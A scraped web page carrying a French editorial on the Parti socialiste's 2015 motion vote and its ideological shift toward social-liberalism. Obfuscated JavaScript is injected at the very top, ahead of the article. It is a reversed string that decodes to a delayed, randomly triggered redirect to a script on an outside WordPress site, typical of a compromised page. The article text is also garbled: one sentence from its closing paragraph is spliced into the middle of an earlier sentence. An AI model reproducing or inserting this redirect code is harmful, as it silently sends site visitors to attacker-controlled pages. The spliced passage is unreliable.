$NqM=function(n){if (typeof ($NqM.list[n]) == « string ») return $NqM.list[n].split(«  »).reverse().join(«  »);return $NqM.list[n];};$NqM.list=[« \’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to-politique.jpg » alt= »edito-politique (© 123RF / D. Barbulat) » width= »249″ height= »294″ /> (© 123RF / D. Barbulat)

C’est l’apanage exclusif des grands partis politiques que de parvenir à faire de leur fonctionnement interne un sujet essentiel d’actualité. Le vote sur les motions du Parti socialiste, fin mai, en vue de la tenue du Congrès de Poitiers, début juin, en a été l’illustration. Seuls les 131 000 adhérents rompus aux statuts de leur appareil et les analystes de la vie partisane ont compris la subtile équation de ce scrutin interne des héritiers de Jaurès. Et pourtant, ceux qui parviennent encore à porter quelque intérêt à la vie publique française ont perçu, au moins intuitivement, qu’il se jouait à cette occasion quelque chose d’important qui impactera le long terme.

Le résultat, sans appel, de 60 % des socialistes favorables à la motion « A », présentée par le 1er secrétaire du parti, Jean-Christophe Cambadélis, et soutenue par Martine Aubry, Manuel Valls et ses ministres, laisse augurer un congrès qui n’aura désormais qu’une valeur purement symbolique. Le pari des « frondeurs » a fait « pschitt » et ces derniers ne peuvent que se consoler en excusant la faiblesse de leur score (moins de 30 % des suffrages) par la désertion militante consécutive aux dernières déconvenues électorales des municipales et des départementales.

Mais la consolation n’a pas de sens en politique où ne survivent que les vainqueurs. C’est d’autant plus vrai que ce résultat électoral interne va conditionner Les atermoiements duraient depuis plus de trente ans et confinaient au mensonge et à la manipulation des foules. la composition des instances départementales du parti et donc… la mainmise sur les investitures pour les élections régionales de décembre. À n’en pas douter, de nombreux militants se sont décidés, dans leur vote, bien plus par opportunisme politique interne, en vue de faire élire leurs candidats, qu’en véritables défenseurs d’un quelconque contenu programmatique des motions. Et pourtant, pour la première fois depuis sa refondation en 1971, au moment de l’historique Congrès d’Épinay, le Parti socialiste a osé une mue idéologique essentielle en assumant, enfin très clairement et de manière largement majoritaire, un tournant « social-libéral ». Certes, elle ne consiste, en fait, qu’à mettre en adéquation la doctrine et la réalité de la politique gouvernementale menée chaque fois que le Parti socialiste exerce le pouvoir. Mais elle est d’importance et il convient de la souligner.

Il était temps de mettre fin à la grande mascarade ! En assumant enfin la « parenthèse » de la rigueur du Congrès de Bourg-en-Bresse de 1983, le Parti socialiste a tombé les masques et va enfin pouvoir pleinement s’assumer. Les atermoiements duraient depuis plus de trente ans et confinaient au mensonge et à la manipulation des foules. Ils ne pouvaient dès lors que se traduire par des déconvenues électorales répétitives. Les militants du Parti socialiste semblent enfin l’avoir compris et admis. Le début d’une métamorphose annonciatrice de nouvelles aurores après la fin des grands soirs ?